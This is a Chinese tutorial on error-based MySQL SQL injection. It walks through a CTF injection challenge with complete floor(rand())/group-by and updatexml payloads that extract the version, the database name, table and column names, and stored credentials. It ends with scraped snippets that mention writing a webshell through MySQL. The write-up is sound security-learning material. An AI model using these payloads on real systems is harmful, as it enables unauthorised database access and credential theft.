mysql爆庫 利用MySQL的報錯進行爆庫

2021-10-19 00:19:09 字數 3690 閱讀 9437

在這裡主要是利用mysql資料庫的乙個bug

1、報錯原理,一步一步分析

從圖中可以看出,版本號是5.6.17

拿來實戰,查詢mysql資料庫中的user表

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

結果出現如下提示

提示應包含1列,那我們就改一下語句

提示,每乙個表必須有他自己的別名,那就加個別名

竟然爆出了資料庫的版本號

以此類推,應該可以爆庫、表、資料等內容

下面為實踐攻擊過程

網路資訊保安學習平台---注入關第6題

1、爆版本號

2、爆資料庫為名  r0866cplushua

3、爆表名

知道了資料庫,那應該把表名爆出來。

' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

注:怎麼寫這個語句呢?我們把語句拆分就容易理解了,首先要查出表名,為了容易看清語句,我們用xx代替語句

xx=select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1

然後***=select (xx) from information_schema.tables limit 0,1

最後一句

select 1 from(select count(*),concat((***),floor(rand(0)*2))x from information_schema.tables group by x)a

這樣看,是不是很清楚?

ok,看看執行結果吧

爆出的資料表名為log,改變limit中的起始位置,繼續爆表,分別是user,motto

3、爆列名稱

' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x75736572 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

分別為,id, username, password

4、爆欄位內容

' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,username,0x7e,password,0x7e) from user  limit 2,1),0x7e),1)%23

通過調整limit 開始位 0,1,2

得到內容分別為:admin~password ,guest~guest,test~1234 ,不是我們想要的

那再看看motto表

首先爆列

' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x6d6f74746f limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆出列為,id ,password,motto

爆欄位內容

' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,username,0x7e,password,0x7e) from motto limit 2,1),0x7e),1)%23

調整limit引數,當調整到limit 3,1時,顯示如下內容

去掉#和key,那正確結果就是:」notfound!「

mysql 利用 mysql利用

mysql 寫入webshell復現 1.直接寫入 windows成功率較高 1.檢視是否允許可寫 空可寫,null不行,5.5以前預設為空,5.5以後預設為null 2.寫入檔案 2.日誌檔案寫入shell 5.0以後會建立日誌檔案 資料庫許可權 1.檢視是否開啟日誌 2.開啟日誌 3.設定路徑 ...

某CTF收集的Mysql爆表 爆欄位語句

mysql特性 獲取資料庫名 未知函式可爆資料庫名 function youcanneverfindme17.a does not exist 獲取表名 and linestring pro id linestring 函式可爆表名 illegal non geometric youcannever...

利用mysql的C API來操作mysql資料庫

要使用mysql的c api來運算元據庫,則在安裝資料庫的時候必須選擇安裝其開發元件,主要是一些標頭檔案和庫檔案的安裝,在程式設計的時候需要使用這些庫。在程式開發的時候,需要包含標頭檔案資料夾include,以及庫資料夾lib debug,在外部庫依賴中填寫libmysql.lib,另外,由於需要使...